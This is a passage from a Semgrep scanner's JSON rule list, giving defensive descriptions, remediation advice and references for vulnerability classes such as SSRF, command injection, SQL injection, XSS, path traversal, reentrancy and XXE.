domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","id":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","name":"java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"help":{"markdown":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"SSRF is an attack vector that abuses an application to interact with the internal/external network or the machine itself."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.http-client.ssrf","id":"csharp.lang.security.ssrf.http-client.ssrf","name":"csharp.lang.security.ssrf.http-client.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.http-client.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"help":{"markdown":"Function borrowFresh() in Compound performs state update after doTransferOut()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy)\n - [https://twitter.com/peckshield/status/1509431646818234369](https://twitter.com/peckshield/status/1509431646818234369)\n - [https://twitter.com/blocksecteam/status/1509466576848064512](https://twitter.com/blocksecteam/status/1509466576848064512)\n - [https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4](https://slowmist.medium.com/another-day-another-reentrancy-attack-5cde10bbb2b4)\n - [https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611](https://explorer.fuse.io/address/0x139Eb08579eec664d461f0B754c1F8B569044611)\n","text":"Function borrowFresh() in Compound performs state update after doTransferOut()"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","id":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","name":"solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-borrowfresh-reentrancy.compound-borrowfresh-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"help":{"markdown":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Use of eval with user-controllable input detected. This can lead  to attackers running arbitrary code. Ensure external data does not  reach here, otherwise this is a security vulnerability. Consider  other ways to do this without eval."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-eval.ruby-eval","id":"ruby.lang.security.no-eval.ruby-eval","name":"ruby.lang.security.no-eval.ruby-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-eval.ruby-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.command-injection.process-taint.process-taint","id":"csharp.dotnet-core.command-injection.process-taint.process-taint","name":"csharp.dotnet-core.command-injection.process-taint.process-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.command-injection.process-taint.process-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection)\n - [https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac](https://medium.com/appsecengineer/dynamodb-injection-1db99c2454ac)\n","text":"Detected DynamoDB query filter that is tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","id":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","name":"python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dynamodb-filter-injection.dynamodb-filter-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"help":{"markdown":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data)\n - [https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes](https://www.php.net/manual/en/function.extract.php#refsect1-function.extract-notes)\n","text":"Do not call 'extract()' on user-controllable data. If you must, then you must also provide the EXTR_SKIP flag to prevent overwriting existing variables."},"helpUri":"https://semgrep.dev/r/php.lang.security.deserialization.extract-user-data","id":"php.lang.security.deserialization.extract-user-data","name":"php.lang.security.deserialization.extract-user-data","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.deserialization.extract-user-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"help":{"markdown":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input)\n - [https://flask.palletsprojects.com/en/1.0.x/security/](https://flask.palletsprojects.com/en/1.0.x/security/)\n - [https://owasp.org/www-community/attacks/xss/](https://owasp.org/www-community/attacks/xss/)\n","text":"Flask response reflects unsanitized user input. This could lead to a cross-site scripting vulnerability (https://owasp.org/www-community/attacks/xss/) in which an attacker causes arbitrary code to be executed in the user's browser. To prevent, please sanitize the user input, e.g. by rendering the response in a Jinja2 template (see considerations in https://flask.palletsprojects.com/en/1.0.x/security/)."},"helpUri":"https://semgrep.dev/r/python.flask.security.unsanitized-input.response-contains-unsanitized-input","id":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","name":"python.flask.security.unsanitized-input.response-contains-unsanitized-input","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unsanitized-input.response-contains-unsanitized-input"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl](https://docs.angularjs.org/api/ng/service/$sce#trustAsUrl)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsUrl can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","id":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","name":"javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-url-method.detect-angular-trust-as-url-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.java-jwt.jwt-hardcode.jwt-hardcode","id":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","name":"kotlin.java-jwt.jwt-hardcode.jwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.java-jwt.jwt-hardcode.jwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","id":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","name":"python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.file.tainted-path-traversal-stdlib-cherrypy.tainted-path-traversal-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","id":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","name":"python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-pillow-flask.tainted-path-traversal-pillow-flask"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n - [https://www.starlette.io/responses/](https://www.starlette.io/responses/)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure that the choice of the `None` value is intentional and that you understand the potential security implications. In FastAPI apps, the `set_cookie` function's argument `samesite` is set to 'Lax' by default. While 'Strict' is the most secure option, 'Lax' is a good compromise between security and usability and this default value is secure for most applications. Do not set `samesite` to 'None' to turn off this security feature."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","id":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","name":"python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-samesite-none.fastapi-cookie-samesite-none"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.django.db.aiosqlite-django.aiosqlite-django","id":"python.django.db.aiosqlite-django.aiosqlite-django","name":"python.django.db.aiosqlite-django.aiosqlite-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.aiosqlite-django.aiosqlite-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","id":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","name":"java.lang.security.audit.sqli.turbine-sqli.turbine-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.turbine-sqli.turbine-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"help":{"markdown":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href)\n - [https://github.com/pugjs/pug/issues/2952](https://github.com/pugjs/pug/issues/2952)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss#:~:text=javascript:%20URI)\n","text":"Detected a template variable used in an anchor tag with the 'href' attribute. This allows a malicious actor to input the 'javascript:' URI and is subject to cross- site scripting (XSS) attacks. If using a relative URL, start with a literal forward slash and concatenate the URL, like this: a(href='/'+url). You may also consider setting the Content Security Policy (CSP) header."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-href.var-in-href","id":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","name":"javascript.express.security.audit.xss.pug.var-in-href.var-in-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-href.var-in-href"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","id":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","name":"python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-samesite-missing.django-cookie-samesite-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. 